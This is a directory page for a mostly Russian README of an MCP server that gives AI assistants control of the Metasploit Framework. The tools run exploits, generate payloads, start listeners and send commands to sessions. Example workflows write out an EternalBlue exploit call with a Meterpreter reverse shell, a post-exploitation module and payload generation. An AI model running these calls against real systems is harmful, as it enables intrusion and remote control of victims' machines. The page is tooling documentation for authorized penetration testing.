Skip to main content
Glama

Metasploit MCP-сервер

Сервер Model Context Protocol (MCP) для интеграции Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Описание

Этот сервер MCP обеспечивает мост между большими языковыми моделями, такими как Claude, и платформой тестирования на проникновение Metasploit Framework. Он позволяет помощникам ИИ динамически получать доступ и управлять функциональностью Metasploit с помощью стандартизированных инструментов, обеспечивая интерфейс на естественном языке для сложных рабочих процессов тестирования безопасности.

Related MCP server: MSFConsole MCP Server

Функции

Информация о модуле

  • list_exploits : Поиск и составление списка доступных модулей эксплойтов Metasploit

  • list_payloads : Поиск и составление списка доступных модулей полезной нагрузки Metasploit с дополнительной фильтрацией по платформам и архитектурам

Рабочий процесс эксплуатации

  • run_exploit : настроить и выполнить эксплойт против цели с возможностью предварительного запуска проверок

  • run_auxiliary_module : запуск любого вспомогательного модуля Metasploit с пользовательскими параметрами

  • run_post_module : Выполнение модулей пост-эксплуатации для существующих сеансов

Генерация полезной нагрузки

  • generate_payload : Генерация файлов полезной нагрузки с помощью Metasploit RPC (сохраняет файлы локально)

Управление сеансом

  • list_active_sessions : Показать текущие сеансы Metasploit с подробной информацией

  • send_session_command : запуск команды в активной оболочке или сеансе Meterpreter

  • terminate_session : Принудительно завершить активный сеанс

Управление обработчиками

  • list_listeners : Показать все активные обработчики и фоновые задания

  • start_listener : создать новый multi/handler для приема подключений

  • stop_job : завершить любое запущенное задание или обработчик

Предпосылки

  • Metasploit Framework установлен и msfrpcd запущен

  • Python 3.10 или выше

  • Необходимые пакеты Python (см. requirements.txt)

Установка

  1. Клонировать этот репозиторий

  2. Установить зависимости:

    pip install -r requirements.txt
  3. Настройте переменные среды (необязательно):

    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads

Использование

Запустите службу Metasploit RPC:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Варианты транспорта

Сервер поддерживает два метода транспортировки:

  • HTTP/SSE (события, отправленные сервером) : режим по умолчанию для взаимодействия с большинством клиентов MCP

  • STDIO (стандартный ввод/вывод) : используется с Claude Desktop и аналогичными прямыми трубными соединениями.

Вы можете явно выбрать режим транспорта с помощью флага --transport :

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Дополнительные параметры для режима HTTP:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Интеграция рабочего стола Клода

Для интеграции Claude Desktop настройте claude_desktop_config.json :

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Другие клиенты MCP

Для других клиентов MCP, использующих HTTP/SSE:

  1. Запустите сервер в режиме HTTP:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Настройте свой клиент MCP для подключения к:

    • Конечная точка SSE: http://your-server-ip:8085/sse

Соображения безопасности

⚠️ ВАЖНОЕ ПРЕДУПРЕЖДЕНИЕ О БЕЗОПАСНОСТИ :

Этот инструмент обеспечивает прямой доступ к возможностям Metasploit Framework, которые включают мощные функции эксплуатации. Используйте ответственно и только в средах, где у вас есть явное разрешение на выполнение тестирования безопасности.

  • Всегда проверяйте и пересматривайте все команды перед выполнением.

  • Запускать только в отдельных тестовых средах или при наличии соответствующего разрешения.

  • Помните, что команды после эксплуатации могут привести к значительным изменениям в системе.

Примеры рабочих процессов

Базовая эксплуатация

  1. Список доступных эксплойтов: list_exploits("ms17_010")

  2. Выберите и запустите эксплойт: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})

  3. Список сеансов: list_active_sessions()

  4. Выполнить команды: send_session_command(1, "whoami")

Пост-эксплуатация

  1. Запустить пост-модуль: run_post_module("windows/gather/enum_logged_on_users", 1)

  2. Отправка пользовательских команд: send_session_command(1, "sysinfo")

  3. Завершить по завершении: terminate_session(1)

Управление обработчиками

  1. Запустить прослушиватель: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)

  2. Список активных обработчиков: list_listeners()

  3. Сгенерировать полезную нагрузку: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})

  4. Остановить обработчик: stop_job(1)

Параметры конфигурации

Каталог сохранения полезной нагрузки

По умолчанию полезные данные, сгенерированные с помощью generate_payload сохраняются в каталоге payloads в вашей домашней папке ( ~/payloads или C:\Users\YourUsername\payloads ). Вы можете настроить это местоположение, установив переменную среды PAYLOAD_SAVE_DIR .

Установка переменной среды:

  • Windows (PowerShell) :

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (командная строка) :

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS :

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • В конфигурации Claude Desktop :

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }

Примечание: Если вы указываете пользовательский путь, убедитесь, что он существует или у приложения есть разрешение на его создание. Если путь недействителен, генерация полезной нагрузки может завершиться неудачей.

Лицензия

Апач 2.0

A
license - permissive license
-
quality - not tested
F
maintenance

Maintenance

Maintainers
Response time
Release cycle
Releases (12mo)
Commit activity
Issues opened vs closed

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • -
    license
    -
    quality
    -
    maintenance
    Enables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.
    Last updated
    2
  • A
    license
    -
    quality
    D
    maintenance
    Bridges large language models with the Metasploit Framework to enable natural language control over penetration testing workflows. It provides tools for searching modules, executing exploits, generating payloads, and managing active sessions.
    Last updated
    1
    Apache 2.0

View all related MCP servers

Related MCP Connectors

  • MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.

  • Offline methodology engine for authorized penetration testing, CTF, and security research.

  • A comprehensive Model Context Protocol (MCP) server that enables AI assistants to interact with yo…

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server